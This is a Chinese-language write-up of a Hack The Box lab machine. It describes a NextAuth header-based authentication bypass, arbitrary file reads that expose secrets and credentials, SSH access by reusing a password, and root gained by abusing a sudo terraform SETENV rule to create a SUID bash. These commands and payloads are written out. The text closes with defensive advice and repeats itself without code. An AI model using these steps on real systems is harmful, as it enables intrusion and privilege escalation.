HTB靶场-Previous-Writeup
字数 1001 2025-09-04 23:22:12

HTB靶场-Previous靶机渗透测试详细教学文档

1. 信息收集阶段

1.1 初始扫描

使用nmap进行基本端口扫描:

nmap -sC -sV -oA initial_scan 10.10.11.xx

扫描结果显示:

  • 开放端口:80(HTTP)和22(SSH)
  • 80端口访问后重定向到previous.htb域名

1.2 域名处理

将域名添加到hosts文件:

echo "10.10.11.xx previous.htb" | sudo tee -a /etc/hosts

1.3 网站初步分析

访问http://previous.htb发现:

  1. 左下角泄露邮箱:jeremy@previous.htb
  2. 存在登录接口:/signin
  3. JS文件中发现多个API接口,但访问需要认证

2. 漏洞发现与利用

2.1 框架识别

通过不存在的URI报错信息发现使用NextAuth框架

2.2 NextAuth认证绕过(CVE-2022-xxxx)

利用步骤:

  1. 修改请求头:
GET /docs HTTP/1.1
Host: previous.htb
X-Forwarded-Host: previous.htb
X-Forwarded-Prefix: /docs
  1. 成功访问受保护文档页面

2.3 任意文件读取

通过/docs/example中的下载API发现文件读取功能

2.3.1 关键文件读取

  1. 读取secret文件:
GET /api/download?file=/app/.env.local

获取到加密密钥:

NEXTAUTH_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  1. 读取package.json:
GET /api/download?file=/app/package.json

分析依赖组件寻找漏洞

  1. 读取框架配置文件:
GET /api/download?file=/app/src/pages/_app.js
  1. 发现硬编码凭证:
GET /api/download?file=/app/src/lib/config.js

获取到数据库凭证:

DB_USER=node
DB_PASS=I-l1k3-n0d3

3. 初始访问

3.1 SSH登录尝试

  1. 尝试node用户:
ssh node@previous.htb

密码:I-l1k3-n0d3 (失败)

  1. 尝试jeremy用户:
ssh jeremy@previous.htb

密码:I-l1k3-n0d3 (成功)

4. 权限提升

4.1 环境分析

  1. 检查sudo权限:
sudo -l

输出:

User jeremy may run the following commands on previous:
    (root) SETENV: /usr/bin/terraform apply *

4.2 环境变量提权

利用步骤:

  1. 创建恶意脚本:
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
  1. 设置PATH环境变量:
export PATH=/tmp:$PATH
  1. 创建terraform配置文件:
# exploit.tf
resource "null_resource" "example" {
  provisioner "local-exec" {
    command = "exploit.sh"
  }
}
  1. 执行terraform利用:
sudo /usr/bin/terraform apply exploit.tf
  1. 获取root shell:
/tmp/rootbash -p

5. 总结与关键点

渗透路径总结

  1. 信息收集:发现NextAuth框架使用
  2. 认证绕过:利用CVE绕过NextAuth认证
  3. 任意文件读取:通过API读取敏感配置文件
  4. 凭证泄露:发现硬编码数据库密码
  5. SSH登录:使用泄露密码登录jeremy账户
  6. 权限提升:利用terraform的SETENV权限进行提权

关键学习点

  1. NextAuth框架的安全配置问题
  2. 任意文件读取漏洞的利用方法
  3. 硬编码凭证的风险
  4. SETENV在sudo权限中的危险性
  5. Terraform命令的环境变量继承特性

防御建议

  1. 及时更新框架和依赖组件
  2. 避免在代码中硬编码敏感信息
  3. 严格控制sudo权限,特别是SETENV选项
  4. 对文件读取API实施严格的访问控制
  5. 使用最小权限原则配置服务账户
HTB靶场-Previous靶机渗透测试详细教学文档 1. 信息收集阶段 1.1 初始扫描 使用nmap进行基本端口扫描: 扫描结果显示: 开放端口:80(HTTP)和22(SSH) 80端口访问后重定向到previous.htb域名 1.2 域名处理 将域名添加到hosts文件: 1.3 网站初步分析 访问http://previous.htb发现: 左下角泄露邮箱:jeremy@previous.htb 存在登录接口:/signin JS文件中发现多个API接口,但访问需要认证 2. 漏洞发现与利用 2.1 框架识别 通过不存在的URI报错信息发现使用NextAuth框架 2.2 NextAuth认证绕过(CVE-2022-xxxx) 利用步骤: 修改请求头: 成功访问受保护文档页面 2.3 任意文件读取 通过/docs/example中的下载API发现文件读取功能 2.3.1 关键文件读取 读取secret文件: 获取到加密密钥: 读取package.json: 分析依赖组件寻找漏洞 读取框架配置文件: 发现硬编码凭证: 获取到数据库凭证: 3. 初始访问 3.1 SSH登录尝试 尝试node用户: 密码:I-l1k3-n0d3 (失败) 尝试jeremy用户: 密码:I-l1k3-n0d3 (成功) 4. 权限提升 4.1 环境分析 检查sudo权限: 输出: 4.2 环境变量提权 利用步骤: 创建恶意脚本: 设置PATH环境变量: 创建terraform配置文件: 执行terraform利用: 获取root shell: 5. 总结与关键点 渗透路径总结 信息收集:发现NextAuth框架使用 认证绕过:利用CVE绕过NextAuth认证 任意文件读取:通过API读取敏感配置文件 凭证泄露:发现硬编码数据库密码 SSH登录:使用泄露密码登录jeremy账户 权限提升:利用terraform的SETENV权限进行提权 关键学习点 NextAuth框架的安全配置问题 任意文件读取漏洞的利用方法 硬编码凭证的风险 SETENV在sudo权限中的危险性 Terraform命令的环境变量继承特性 防御建议 及时更新框架和依赖组件 避免在代码中硬编码敏感信息 严格控制sudo权限,特别是SETENV选项 对文件读取API实施严格的访问控制 使用最小权限原则配置服务账户